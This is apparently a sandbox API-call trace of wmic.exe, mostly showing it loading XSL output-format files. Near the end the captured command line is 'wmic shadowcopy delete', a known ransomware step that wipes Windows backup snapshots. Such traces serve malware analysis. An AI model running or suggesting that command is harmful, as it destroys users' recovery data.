IXMLDOMNode:get_nodeValue (in: This=0x20f8c98, value=0x2bfd4c | out: value=0x2bfd4c*(varType=0x8, wReserved1=0x3, wReserved2=0x2ef0, wReserved3=0x3, varVal1="MOF", varVal2=0x0)) returned 0x0 [0084.167] malloc (_Size=0xc) returned 0x3fbb8 [0084.167] malloc (_Size=0xc) returned 0x3fbd0 [0084.167] SysStringLen (param_1="MOF") returned 0x3 [0084.167] SysStringLen (param_1="TABLE") returned 0x5 [0084.167] SysStringLen (param_1="MOF") returned 0x3 [0084.167] SysStringLen (param_1="LIST") returned 0x4 [0084.167] SysStringLen (param_1="MOF") returned 0x3 [0084.167] SysStringLen (param_1="RAWXML") returned 0x6 [0084.167] SysStringLen (param_1="LIST") returned 0x4 [0084.167] SysStringLen (param_1="MOF") returned 0x3 [0084.167] malloc (_Size=0x18) returned 0x3e9c8 [0084.167] IUnknown:Release (This=0x20f4b20) returned 0x0 [0084.167] IUnknown:Release (This=0x20f8cf8) returned 0x0 [0084.167] IUnknown:Release (This=0x20f8c98) returned 0x0 [0084.167] IXMLDOMNodeList:get_item (in: This=0x20f8e80, index=8, listItem=0x2bfda8 | out: listItem=0x2bfda8*=0x20f4b20) returned 0x0 [0084.168] IXMLDOMNode:get_text (in: This=0x20f4b20, text=0x2bfdb0 | out: text=0x2bfdb0*="csv.xsl") returned 0x0 [0084.168] IXMLDOMNode:get_attributes (in: This=0x20f4b20, attributeMap=0x2bfda4 | out: attributeMap=0x2bfda4*=0x20f8cf8) returned 0x0 [0084.168] malloc (_Size=0xc) returned 0x3fbe8 [0084.168] IXMLDOMNamedNodeMap:getNamedItem (in: This=0x20f8cf8, name="KEYWORD", namedItem=0x2bfda0 | out: namedItem=0x2bfda0*=0x20f8c98) returned 0x0 [0084.168] free (_Block=0x3fbe8) [0084.168] IXMLDOMNode:get_nodeValue (in: This=0x20f8c98, value=0x2bfd4c | out: value=0x2bfd4c*(varType=0x8, wReserved1=0x3, wReserved2=0x2ef0, wReserved3=0x3, varVal1="CSV", varVal2=0x0)) returned 0x0 [0084.168] malloc (_Size=0xc) returned 0x3fbe8 [0084.168] malloc (_Size=0xc) returned 0x3fc00 [0084.168] SysStringLen (param_1="CSV") returned 0x3 [0084.168] SysStringLen (param_1="TABLE") returned 0x5 [0084.168] SysStringLen (param_1="CSV") returned 0x3 [0084.168] SysStringLen (param_1="LIST") returned 0x4 [0084.168] SysStringLen (param_1="CSV") returned 0x3 [0084.168] SysStringLen (param_1="HTABLE") returned 0x6 [0084.168] SysStringLen (param_1="CSV") returned 0x3 [0084.168] SysStringLen (param_1="HFORM") returned 0x5 [0084.168] malloc (_Size=0x18) returned 0x3e9e8 [0084.169] IUnknown:Release (This=0x20f4b20) returned 0x0 [0084.169] IUnknown:Release (This=0x20f8cf8) returned 0x0 [0084.169] IUnknown:Release (This=0x20f8c98) returned 0x0 [0084.169] IXMLDOMNodeList:get_item (in: This=0x20f8e80, index=9, listItem=0x2bfda8 | out: listItem=0x2bfda8*=0x20f4b20) returned 0x0 [0084.169] IXMLDOMNode:get_text (in: This=0x20f4b20, text=0x2bfdb0 | out: text=0x2bfdb0*="texttable.xsl") returned 0x0 [0084.169] IXMLDOMNode:get_attributes (in: This=0x20f4b20, attributeMap=0x2bfda4 | out: attributeMap=0x2bfda4*=0x20f8cf8) returned 0x0 [0084.169] malloc (_Size=0xc) returned 0x3fc18 [0084.169] IXMLDOMNamedNodeMap:getNamedItem (in: This=0x20f8cf8, name="KEYWORD", namedItem=0x2bfda0 | out: namedItem=0x2bfda0*=0x20f8c98) returned 0x0 [0084.169] free (_Block=0x3fc18) [0084.169] IXMLDOMNode:get_nodeValue (in: This=0x20f8c98, value=0x2bfd4c | out: value=0x2bfd4c*(varType=0x8, wReserved1=0x3, wReserved2=0x2ef0, wReserved3=0x3, varVal1="texttablewsys.xsl", varVal2=0x0)) returned 0x0 [0084.169] malloc (_Size=0xc) returned 0x3fc18 [0084.169] malloc (_Size=0xc) returned 0x3fc30 [0084.169] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0084.169] SysStringLen (param_1="TABLE") returned 0x5 [0084.169] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0084.170] SysStringLen (param_1="VALUE") returned 0x5 [0084.170] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0084.170] SysStringLen (param_1="XML") returned 0x3 [0084.170] SysStringLen (param_1="XML") returned 0x3 [0084.170] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0084.170] malloc (_Size=0x18) returned 0x3ea08 [0084.170] IUnknown:Release (This=0x20f4b20) returned 0x0 [0084.170] IUnknown:Release (This=0x20f8cf8) returned 0x0 [0084.170] IUnknown:Release (This=0x20f8c98) returned 0x0 [0084.170] IXMLDOMNodeList:get_item (in: This=0x20f8e80, index=10, listItem=0x2bfda8 | out: listItem=0x2bfda8*=0x20f4b20) returned 0x0 [0084.170] IXMLDOMNode:get_text (in: This=0x20f4b20, text=0x2bfdb0 | out: text=0x2bfdb0*="texttable.xsl") returned 0x0 [0084.170] IXMLDOMNode:get_attributes (in: This=0x20f4b20, attributeMap=0x2bfda4 | out: attributeMap=0x2bfda4*=0x20f8cf8) returned 0x0 [0084.170] malloc (_Size=0xc) returned 0x3fc48 [0084.170] IXMLDOMNamedNodeMap:getNamedItem (in: This=0x20f8cf8, name="KEYWORD", namedItem=0x2bfda0 | out: namedItem=0x2bfda0*=0x20f8c98) returned 0x0 [0084.170] free (_Block=0x3fc48) [0084.170] IXMLDOMNode:get_nodeValue (in: This=0x20f8c98, value=0x2bfd4c | out: value=0x2bfd4c*(varType=0x8, wReserved1=0x3, wReserved2=0x2ef0, wReserved3=0x3, varVal1="texttablewsys", varVal2=0x0)) returned 0x0 [0084.170] malloc (_Size=0xc) returned 0x3fc48 [0084.171] malloc (_Size=0xc) returned 0x3fc60 [0084.171] SysStringLen (param_1="texttablewsys") returned 0xd [0084.171] SysStringLen (param_1="TABLE") returned 0x5 [0084.171] SysStringLen (param_1="texttablewsys") returned 0xd [0084.171] SysStringLen (param_1="XML") returned 0x3 [0084.171] SysStringLen (param_1="texttablewsys") returned 0xd [0084.171] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0084.171] SysStringLen (param_1="XML") returned 0x3 [0084.171] SysStringLen (param_1="texttablewsys") returned 0xd [0084.171] malloc (_Size=0x18) returned 0x3ea28 [0084.171] IUnknown:Release (This=0x20f4b20) returned 0x0 [0084.171] IUnknown:Release (This=0x20f8cf8) returned 0x0 [0084.171] IUnknown:Release (This=0x20f8c98) returned 0x0 [0084.171] IXMLDOMNodeList:get_item (in: This=0x20f8e80, index=11, listItem=0x2bfda8 | out: listItem=0x2bfda8*=0x20f4b20) returned 0x0 [0084.171] IXMLDOMNode:get_text (in: This=0x20f4b20, text=0x2bfdb0 | out: text=0x2bfdb0*="texttable.xsl") returned 0x0 [0084.171] IXMLDOMNode:get_attributes (in: This=0x20f4b20, attributeMap=0x2bfda4 | out: attributeMap=0x2bfda4*=0x20f8cf8) returned 0x0 [0084.171] malloc (_Size=0xc) returned 0x3fc78 [0084.172] IXMLDOMNamedNodeMap:getNamedItem (in: This=0x20f8cf8, name="KEYWORD", namedItem=0x2bfda0 | out: namedItem=0x2bfda0*=0x20f8c98) returned 0x0 [0084.172] free (_Block=0x3fc78) [0084.172] IXMLDOMNode:get_nodeValue (in: This=0x20f8c98, value=0x2bfd4c | out: value=0x2bfd4c*(varType=0x8, wReserved1=0x3, wReserved2=0x2ef0, wReserved3=0x3, varVal1="wmiclitableformat.xsl", varVal2=0x0)) returned 0x0 [0084.172] malloc (_Size=0xc) returned 0x3fc78 [0084.172] malloc (_Size=0xc) returned 0x3fc90 [0084.172] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0084.172] SysStringLen (param_1="TABLE") returned 0x5 [0084.172] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0084.172] SysStringLen (param_1="XML") returned 0x3 [0084.172] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0084.172] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0084.172] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0084.172] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0084.172] malloc (_Size=0x18) returned 0x3ea48 [0084.172] IUnknown:Release (This=0x20f4b20) returned 0x0 [0084.172] IUnknown:Release (This=0x20f8cf8) returned 0x0 [0084.172] IUnknown:Release (This=0x20f8c98) returned 0x0 [0084.173] IXMLDOMNodeList:get_item (in: This=0x20f8e80, index=12, listItem=0x2bfda8 | out: listItem=0x2bfda8*=0x20f4b20) returned 0x0 [0084.173] IXMLDOMNode:get_text (in: This=0x20f4b20, text=0x2bfdb0 | out: text=0x2bfdb0*="texttable.xsl") returned 0x0 [0084.173] IXMLDOMNode:get_attributes (in: This=0x20f4b20, attributeMap=0x2bfda4 | out: attributeMap=0x2bfda4*=0x20f8cf8) returned 0x0 [0084.173] malloc (_Size=0xc) returned 0x3fca8 [0084.173] IXMLDOMNamedNodeMap:getNamedItem (in: This=0x20f8cf8, name="KEYWORD", namedItem=0x2bfda0 | out: namedItem=0x2bfda0*=0x20f8c98) returned 0x0 [0084.173] free (_Block=0x3fca8) [0084.173] IXMLDOMNode:get_nodeValue (in: This=0x20f8c98, value=0x2bfd4c | out: value=0x2bfd4c*(varType=0x8, wReserved1=0x3, wReserved2=0x2ef0, wReserved3=0x3, varVal1="wmiclitableformat", varVal2=0x0)) returned 0x0 [0084.173] malloc (_Size=0xc) returned 0x3fca8 [0084.173] malloc (_Size=0xc) returned 0x3fcc0 [0084.173] SysStringLen (param_1="wmiclitableformat") returned 0x11 [0084.173] SysStringLen (param_1="TABLE") returned 0x5 [0084.173] SysStringLen (param_1="wmiclitableformat") returned 0x11 [0084.173] SysStringLen (param_1="XML") returned 0x3 [0084.173] SysStringLen (param_1="wmiclitableformat") returned 0x11 [0084.173] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0084.173] SysStringLen (param_1="wmiclitableformat") returned 0x11 [0084.173] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0084.173] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0084.173] SysStringLen (param_1="wmiclitableformat") returned 0x11 [0084.173] malloc (_Size=0x18) returned 0x3ea68 [0084.174] IUnknown:Release (This=0x20f4b20) returned 0x0 [0084.174] IUnknown:Release (This=0x20f8cf8) returned 0x0 [0084.174] IUnknown:Release (This=0x20f8c98) returned 0x0 [0084.174] IXMLDOMNodeList:get_item (in: This=0x20f8e80, index=13, listItem=0x2bfda8 | out: listItem=0x2bfda8*=0x20f4b20) returned 0x0 [0084.174] IXMLDOMNode:get_text (in: This=0x20f4b20, text=0x2bfdb0 | out: text=0x2bfdb0*="texttable.xsl") returned 0x0 [0084.174] IXMLDOMNode:get_attributes (in: This=0x20f4b20, attributeMap=0x2bfda4 | out: attributeMap=0x2bfda4*=0x20f8cf8) returned 0x0 [0084.174] malloc (_Size=0xc) returned 0x3fcd8 [0084.174] IXMLDOMNamedNodeMap:getNamedItem (in: This=0x20f8cf8, name="KEYWORD", namedItem=0x2bfda0 | out: namedItem=0x2bfda0*=0x20f8c98) returned 0x0 [0084.174] free (_Block=0x3fcd8) [0084.174] IXMLDOMNode:get_nodeValue (in: This=0x20f8c98, value=0x2bfd4c | out: value=0x2bfd4c*(varType=0x8, wReserved1=0x3, wReserved2=0x2ef0, wReserved3=0x3, varVal1="wmiclitableformatnosys.xsl", varVal2=0x0)) returned 0x0 [0084.174] malloc (_Size=0xc) returned 0x3fcd8 [0084.174] malloc (_Size=0xc) returned 0x3fcf0 [0084.174] SysStringLen (param_1="wmiclitableformatnosys.xsl") returned 0x1a [0084.174] SysStringLen (param_1="TABLE") returned 0x5 [0084.175] SysStringLen (param_1="wmiclitableformatnosys.xsl") returned 0x1a [0084.175] SysStringLen (param_1="XML") returned 0x3 [0084.175] SysStringLen (param_1="wmiclitableformatnosys.xsl") returned 0x1a [0084.175] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0084.175] SysStringLen (param_1="wmiclitableformatnosys.xsl") returned 0x1a [0084.175] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0084.175] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0084.175] SysStringLen (param_1="wmiclitableformatnosys.xsl") returned 0x1a [0084.175] malloc (_Size=0x18) returned 0x3ea88 [0084.175] IUnknown:Release (This=0x20f4b20) returned 0x0 [0084.175] IUnknown:Release (This=0x20f8cf8) returned 0x0 [0084.175] IUnknown:Release (This=0x20f8c98) returned 0x0 [0084.175] IXMLDOMNodeList:get_item (in: This=0x20f8e80, index=14, listItem=0x2bfda8 | out: listItem=0x2bfda8*=0x20f4b20) returned 0x0 [0084.175] IXMLDOMNode:get_text (in: This=0x20f4b20, text=0x2bfdb0 | out: text=0x2bfdb0*="texttable.xsl") returned 0x0 [0084.175] IXMLDOMNode:get_attributes (in: This=0x20f4b20, attributeMap=0x2bfda4 | out: attributeMap=0x2bfda4*=0x20f8cf8) returned 0x0 [0084.175] malloc (_Size=0xc) returned 0x3fd08 [0084.175] IXMLDOMNamedNodeMap:getNamedItem (in: This=0x20f8cf8, name="KEYWORD", namedItem=0x2bfda0 | out: namedItem=0x2bfda0*=0x20f8c98) returned 0x0 [0084.176] free (_Block=0x3fd08) [0084.176] IXMLDOMNode:get_nodeValue (in: This=0x20f8c98, value=0x2bfd4c | out: value=0x2bfd4c*(varType=0x8, wReserved1=0x3, wReserved2=0x2ef0, wReserved3=0x3, varVal1="wmiclitableformatnosys", varVal2=0x0)) returned 0x0 [0084.176] malloc (_Size=0xc) returned 0x3fd08 [0084.176] malloc (_Size=0xc) returned 0x3fd20 [0084.176] SysStringLen (param_1="wmiclitableformatnosys") returned 0x16 [0084.176] SysStringLen (param_1="TABLE") returned 0x5 [0084.176] SysStringLen (param_1="wmiclitableformatnosys") returned 0x16 [0084.176] SysStringLen (param_1="XML") returned 0x3 [0084.176] SysStringLen (param_1="wmiclitableformatnosys") returned 0x16 [0084.176] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0084.176] SysStringLen (param_1="wmiclitableformatnosys") returned 0x16 [0084.176] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0084.176] SysStringLen (param_1="wmiclitableformatnosys") returned 0x16 [0084.176] SysStringLen (param_1="wmiclitableformatnosys.xsl") returned 0x1a [0084.176] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0084.176] SysStringLen (param_1="wmiclitableformatnosys") returned 0x16 [0084.176] malloc (_Size=0x18) returned 0x3eaa8 [0084.176] IUnknown:Release (This=0x20f4b20) returned 0x0 [0084.176] IUnknown:Release (This=0x20f8cf8) returned 0x0 [0084.177] IUnknown:Release (This=0x20f8c98) returned 0x0 [0084.177] IXMLDOMNodeList:get_item (in: This=0x20f8e80, index=15, listItem=0x2bfda8 | out: listItem=0x2bfda8*=0x20f4b20) returned 0x0 [0084.177] IXMLDOMNode:get_text (in: This=0x20f4b20, text=0x2bfdb0 | out: text=0x2bfdb0*="htable.xsl") returned 0x0 [0084.177] IXMLDOMNode:get_attributes (in: This=0x20f4b20, attributeMap=0x2bfda4 | out: attributeMap=0x2bfda4*=0x20f8cf8) returned 0x0 [0084.177] malloc (_Size=0xc) returned 0x3fd38 [0084.177] IXMLDOMNamedNodeMap:getNamedItem (in: This=0x20f8cf8, name="KEYWORD", namedItem=0x2bfda0 | out: namedItem=0x2bfda0*=0x20f8c98) returned 0x0 [0084.177] free (_Block=0x3fd38) [0084.177] IXMLDOMNode:get_nodeValue (in: This=0x20f8c98, value=0x2bfd4c | out: value=0x2bfd4c*(varType=0x8, wReserved1=0x3, wReserved2=0x2ef0, wReserved3=0x3, varVal1="htable-sortby.xsl", varVal2=0x0)) returned 0x0 [0084.177] malloc (_Size=0xc) returned 0x3fd38 [0084.177] malloc (_Size=0xc) returned 0x3fd50 [0084.177] SysStringLen (param_1="htable-sortby.xsl") returned 0x11 [0084.177] SysStringLen (param_1="TABLE") returned 0x5 [0084.177] SysStringLen (param_1="htable-sortby.xsl") returned 0x11 [0084.177] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0084.177] SysStringLen (param_1="htable-sortby.xsl") returned 0x11 [0084.177] SysStringLen (param_1="XML") returned 0x3 [0084.177] SysStringLen (param_1="htable-sortby.xsl") returned 0x11 [0084.177] SysStringLen (param_1="texttablewsys") returned 0xd [0084.177] SysStringLen (param_1="XML") returned 0x3 [0084.178] SysStringLen (param_1="htable-sortby.xsl") returned 0x11 [0084.178] malloc (_Size=0x18) returned 0x3eac8 [0084.178] IUnknown:Release (This=0x20f4b20) returned 0x0 [0084.178] IUnknown:Release (This=0x20f8cf8) returned 0x0 [0084.178] IUnknown:Release (This=0x20f8c98) returned 0x0 [0084.178] IXMLDOMNodeList:get_item (in: This=0x20f8e80, index=16, listItem=0x2bfda8 | out: listItem=0x2bfda8*=0x20f4b20) returned 0x0 [0084.178] IXMLDOMNode:get_text (in: This=0x20f4b20, text=0x2bfdb0 | out: text=0x2bfdb0*="htable.xsl") returned 0x0 [0084.178] IXMLDOMNode:get_attributes (in: This=0x20f4b20, attributeMap=0x2bfda4 | out: attributeMap=0x2bfda4*=0x20f8cf8) returned 0x0 [0084.178] malloc (_Size=0xc) returned 0x3fd68 [0084.178] IXMLDOMNamedNodeMap:getNamedItem (in: This=0x20f8cf8, name="KEYWORD", namedItem=0x2bfda0 | out: namedItem=0x2bfda0*=0x20f8c98) returned 0x0 [0084.178] free (_Block=0x3fd68) [0084.178] IXMLDOMNode:get_nodeValue (in: This=0x20f8c98, value=0x2bfd4c | out: value=0x2bfd4c*(varType=0x8, wReserved1=0x3, wReserved2=0x2ef0, wReserved3=0x3, varVal1="htable-sortby", varVal2=0x0)) returned 0x0 [0084.178] malloc (_Size=0xc) returned 0x3fd68 [0084.178] malloc (_Size=0xc) returned 0x3fd80 [0084.179] SysStringLen (param_1="htable-sortby") returned 0xd [0084.179] SysStringLen (param_1="TABLE") returned 0x5 [0084.179] SysStringLen (param_1="htable-sortby") returned 0xd [0084.179] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0084.179] SysStringLen (param_1="htable-sortby") returned 0xd [0084.179] SysStringLen (param_1="XML") returned 0x3 [0084.179] SysStringLen (param_1="htable-sortby") returned 0xd [0084.179] SysStringLen (param_1="texttablewsys") returned 0xd [0084.179] SysStringLen (param_1="htable-sortby") returned 0xd [0084.179] SysStringLen (param_1="htable-sortby.xsl") returned 0x11 [0084.179] SysStringLen (param_1="XML") returned 0x3 [0084.179] SysStringLen (param_1="htable-sortby") returned 0xd [0084.179] malloc (_Size=0x18) returned 0x3eae8 [0084.179] IUnknown:Release (This=0x20f4b20) returned 0x0 [0084.179] IUnknown:Release (This=0x20f8cf8) returned 0x0 [0084.179] IUnknown:Release (This=0x20f8c98) returned 0x0 [0084.179] IXMLDOMNodeList:get_item (in: This=0x20f8e80, index=17, listItem=0x2bfda8 | out: listItem=0x2bfda8*=0x20f4b20) returned 0x0 [0084.179] IXMLDOMNode:get_text (in: This=0x20f4b20, text=0x2bfdb0 | out: text=0x2bfdb0*="mof.xsl") returned 0x0 [0084.179] IXMLDOMNode:get_attributes (in: This=0x20f4b20, attributeMap=0x2bfda4 | out: attributeMap=0x2bfda4*=0x20f8cf8) returned 0x0 [0084.179] malloc (_Size=0xc) returned 0x3fd98 [0084.180] IXMLDOMNamedNodeMap:getNamedItem (in: This=0x20f8cf8, name="KEYWORD", namedItem=0x2bfda0 | out: namedItem=0x2bfda0*=0x20f8c98) returned 0x0 [0084.180] free (_Block=0x3fd98) [0084.180] IXMLDOMNode:get_nodeValue (in: This=0x20f8c98, value=0x2bfd4c | out: value=0x2bfd4c*(varType=0x8, wReserved1=0x3, wReserved2=0x2ef0, wReserved3=0x3, varVal1="wmiclimofformat.xsl", varVal2=0x0)) returned 0x0 [0084.180] malloc (_Size=0xc) returned 0x3fd98 [0084.180] malloc (_Size=0xc) returned 0x3fdb0 [0084.180] SysStringLen (param_1="wmiclimofformat.xsl") returned 0x13 [0084.180] SysStringLen (param_1="TABLE") returned 0x5 [0084.180] SysStringLen (param_1="wmiclimofformat.xsl") returned 0x13 [0084.180] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0084.180] SysStringLen (param_1="wmiclimofformat.xsl") returned 0x13 [0084.180] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0084.180] SysStringLen (param_1="wmiclimofformat.xsl") returned 0x13 [0084.180] SysStringLen (param_1="wmiclitableformat") returned 0x11 [0084.180] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0084.180] SysStringLen (param_1="wmiclimofformat.xsl") returned 0x13 [0084.180] malloc (_Size=0x18) returned 0x3eb08 [0084.181] IUnknown:Release (This=0x20f4b20) returned 0x0 [0084.181] IUnknown:Release (This=0x20f8cf8) returned 0x0 [0084.181] IUnknown:Release (This=0x20f8c98) returned 0x0 [0084.181] IXMLDOMNodeList:get_item (in: This=0x20f8e80, index=18, listItem=0x2bfda8 | out: listItem=0x2bfda8*=0x20f4b20) returned 0x0 [0084.181] IXMLDOMNode:get_text (in: This=0x20f4b20, text=0x2bfdb0 | out: text=0x2bfdb0*="mof.xsl") returned 0x0 [0084.181] IXMLDOMNode:get_attributes (in: This=0x20f4b20, attributeMap=0x2bfda4 | out: attributeMap=0x2bfda4*=0x20f8cf8) returned 0x0 [0084.181] malloc (_Size=0xc) returned 0x3fdc8 [0084.181] IXMLDOMNamedNodeMap:getNamedItem (in: This=0x20f8cf8, name="KEYWORD", namedItem=0x2bfda0 | out: namedItem=0x2bfda0*=0x20f8c98) returned 0x0 [0084.181] free (_Block=0x3fdc8) [0084.181] IXMLDOMNode:get_nodeValue (in: This=0x20f8c98, value=0x2bfd4c | out: value=0x2bfd4c*(varType=0x8, wReserved1=0x3, wReserved2=0x2ef0, wReserved3=0x3, varVal1="wmiclimofformat", varVal2=0x0)) returned 0x0 [0084.181] malloc (_Size=0xc) returned 0x3fdc8 [0084.181] malloc (_Size=0xc) returned 0x3fde0 [0084.181] SysStringLen (param_1="wmiclimofformat") returned 0xf [0084.181] SysStringLen (param_1="TABLE") returned 0x5 [0084.181] SysStringLen (param_1="wmiclimofformat") returned 0xf [0084.181] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0084.181] SysStringLen (param_1="wmiclimofformat") returned 0xf [0084.181] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0084.182] SysStringLen (param_1="wmiclimofformat") returned 0xf [0084.182] SysStringLen (param_1="wmiclitableformat") returned 0x11 [0084.182] SysStringLen (param_1="wmiclimofformat") returned 0xf [0084.182] SysStringLen (param_1="wmiclimofformat.xsl") returned 0x13 [0084.182] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0084.182] SysStringLen (param_1="wmiclimofformat") returned 0xf [0084.182] malloc (_Size=0x18) returned 0x3eb28 [0084.182] IUnknown:Release (This=0x20f4b20) returned 0x0 [0084.182] IUnknown:Release (This=0x20f8cf8) returned 0x0 [0084.182] IUnknown:Release (This=0x20f8c98) returned 0x0 [0084.182] IXMLDOMNodeList:get_item (in: This=0x20f8e80, index=19, listItem=0x2bfda8 | out: listItem=0x2bfda8*=0x20f4b20) returned 0x0 [0084.182] IXMLDOMNode:get_text (in: This=0x20f4b20, text=0x2bfdb0 | out: text=0x2bfdb0*="textvaluelist.xsl") returned 0x0 [0084.182] IXMLDOMNode:get_attributes (in: This=0x20f4b20, attributeMap=0x2bfda4 | out: attributeMap=0x2bfda4*=0x20f8cf8) returned 0x0 [0084.182] malloc (_Size=0xc) returned 0x3fdf8 [0084.182] IXMLDOMNamedNodeMap:getNamedItem (in: This=0x20f8cf8, name="KEYWORD", namedItem=0x2bfda0 | out: namedItem=0x2bfda0*=0x20f8c98) returned 0x0 [0084.182] free (_Block=0x3fdf8) [0084.182] IXMLDOMNode:get_nodeValue (in: This=0x20f8c98, value=0x2bfd4c | out: value=0x2bfd4c*(varType=0x8, wReserved1=0x3, wReserved2=0x2ef0, wReserved3=0x3, varVal1="wmiclivalueformat.xsl", varVal2=0x0)) returned 0x0 [0084.183] malloc (_Size=0xc) returned 0x3fdf8 [0084.183] malloc (_Size=0xc) returned 0x3fe10 [0084.183] SysStringLen (param_1="wmiclivalueformat.xsl") returned 0x15 [0084.183] SysStringLen (param_1="TABLE") returned 0x5 [0084.183] SysStringLen (param_1="wmiclivalueformat.xsl") returned 0x15 [0084.183] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0084.183] SysStringLen (param_1="wmiclivalueformat.xsl") returned 0x15 [0084.183] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0084.183] SysStringLen (param_1="wmiclivalueformat.xsl") returned 0x15 [0084.183] SysStringLen (param_1="wmiclitableformatnosys.xsl") returned 0x1a [0084.183] SysStringLen (param_1="wmiclitableformatnosys.xsl") returned 0x1a [0084.183] SysStringLen (param_1="wmiclivalueformat.xsl") returned 0x15 [0084.183] malloc (_Size=0x18) returned 0x3eb48 [0084.183] IUnknown:Release (This=0x20f4b20) returned 0x0 [0084.183] IUnknown:Release (This=0x20f8cf8) returned 0x0 [0084.183] IUnknown:Release (This=0x20f8c98) returned 0x0 [0084.183] IXMLDOMNodeList:get_item (in: This=0x20f8e80, index=20, listItem=0x2bfda8 | out: listItem=0x2bfda8*=0x20f4b20) returned 0x0 [0084.183] IXMLDOMNode:get_text (in: This=0x20f4b20, text=0x2bfdb0 | out: text=0x2bfdb0*="textvaluelist.xsl") returned 0x0 [0084.183] IXMLDOMNode:get_attributes (in: This=0x20f4b20, attributeMap=0x2bfda4 | out: attributeMap=0x2bfda4*=0x20f8cf8) returned 0x0 [0084.184] malloc (_Size=0xc) returned 0x3fe28 [0084.184] IXMLDOMNamedNodeMap:getNamedItem (in: This=0x20f8cf8, name="KEYWORD", namedItem=0x2bfda0 | out: namedItem=0x2bfda0*=0x20f8c98) returned 0x0 [0084.184] free (_Block=0x3fe28) [0084.184] IXMLDOMNode:get_nodeValue (in: This=0x20f8c98, value=0x2bfd4c | out: value=0x2bfd4c*(varType=0x8, wReserved1=0x3, wReserved2=0x2ef0, wReserved3=0x3, varVal1="wmiclivalueformat", varVal2=0x0)) returned 0x0 [0084.184] malloc (_Size=0xc) returned 0x3fe28 [0084.184] malloc (_Size=0xc) returned 0x3fe40 [0084.184] SysStringLen (param_1="wmiclivalueformat") returned 0x11 [0084.184] SysStringLen (param_1="TABLE") returned 0x5 [0084.184] SysStringLen (param_1="wmiclivalueformat") returned 0x11 [0084.184] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0084.184] SysStringLen (param_1="wmiclivalueformat") returned 0x11 [0084.184] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0084.184] SysStringLen (param_1="wmiclivalueformat") returned 0x11 [0084.184] SysStringLen (param_1="wmiclitableformatnosys.xsl") returned 0x1a [0084.184] SysStringLen (param_1="wmiclivalueformat") returned 0x11 [0084.184] SysStringLen (param_1="wmiclivalueformat.xsl") returned 0x15 [0084.184] SysStringLen (param_1="wmiclitableformatnosys.xsl") returned 0x1a [0084.184] SysStringLen (param_1="wmiclivalueformat") returned 0x11 [0084.184] malloc (_Size=0x18) returned 0x3eb68 [0084.185] IUnknown:Release (This=0x20f4b20) returned 0x0 [0084.185] IUnknown:Release (This=0x20f8cf8) returned 0x0 [0084.185] IUnknown:Release (This=0x20f8c98) returned 0x0 [0084.185] IUnknown:Release (This=0x20f8e80) returned 0x0 [0084.185] FreeThreadedDOMDocument:IUnknown:Release (This=0x20f8c58) returned 0x1 [0084.185] FreeThreadedDOMDocument:IUnknown:Release (This=0x20f4630) returned 0x0 [0084.185] free (_Block=0x32f08) [0084.185] GetCommandLineW () returned="wmic shadowcopy delete " [0084.185] malloc (_Size=0x40) returned 0x33140 [0084.185] memcpy_s (in: _Destination=0x33140, _DestinationSize=0x3e, _Source=0x34199c, _SourceSize=0x30 | out: _Destination=0x33140) returned 0x0 [0084.185] malloc (_Size=0xc) returned 0x3fe58 [0084.185] malloc (_Size=0xc) returned 0x3fe70 [0084.185] malloc (_Size=0xc) returned 0x3fe88 [0084.185] malloc (_Size=0xc) returned 0x2422060 [0084.186] malloc (_Size=0x80) returned 0x24205b0 [0084.186] GetLocalTime (in: lpSystemTime=0x2bfd58 | out: lpSystemTime=0x2bfd58*(wYear=0x7e4, wMonth=0x3, wDayOfWeek=0x1, wDay=0x17, wHour=0x0, wMinute=0x37, wSecond=0x14, wMilliseconds=0x2cc)) [0084.186] _vsnwprintf (in: _Buffer=0x24205b0, _BufferCount=0x3f, _Format="%.2d-%.2d-%.4dT%.2d:%.2d:%.2d", _ArgList=0x2bfd38 | out: _Buffer="03-23-2020T00:55:20") returned 19 [0084.186] lstrlenW (lpString=" shadowcopy delete ") returned 20 [0084.186] malloc (_Size=0x2a) returned 0x33188 [0084.186] lstrlenW (lpString=" shadowcopy delete ") returned 20 [0084.186] lstrlenW (lpString=" shadowcopy delete ") returned 20 [0084.186] malloc (_Size=0x2a) returned 0x331c0 [0084.186] lstrlenW (lpString=" shadowcopy delete ") returned 20 [0084.186] lstrlenW (lpString=" shadowcopy delete ") returned 20 [0084.186] lstrlenW (lpString=" shadowcopy delete ") returned 20 [0084.186] malloc (_Size=0x16) returned 0x3eb88 [0084.186] lstrlenW (lpString="shadowcopy") returned 10 [0084.186] _wcsicmp (_String1="shadowcopy", _String2="\"NULL\"") returned 81 [0084.186] malloc (_Size=0x16) returned 0x3eba8 [0084.186] malloc (_Size=0x4) returned 0x32f08 [0084.186] free (_Block=0x0) [0084.186] free 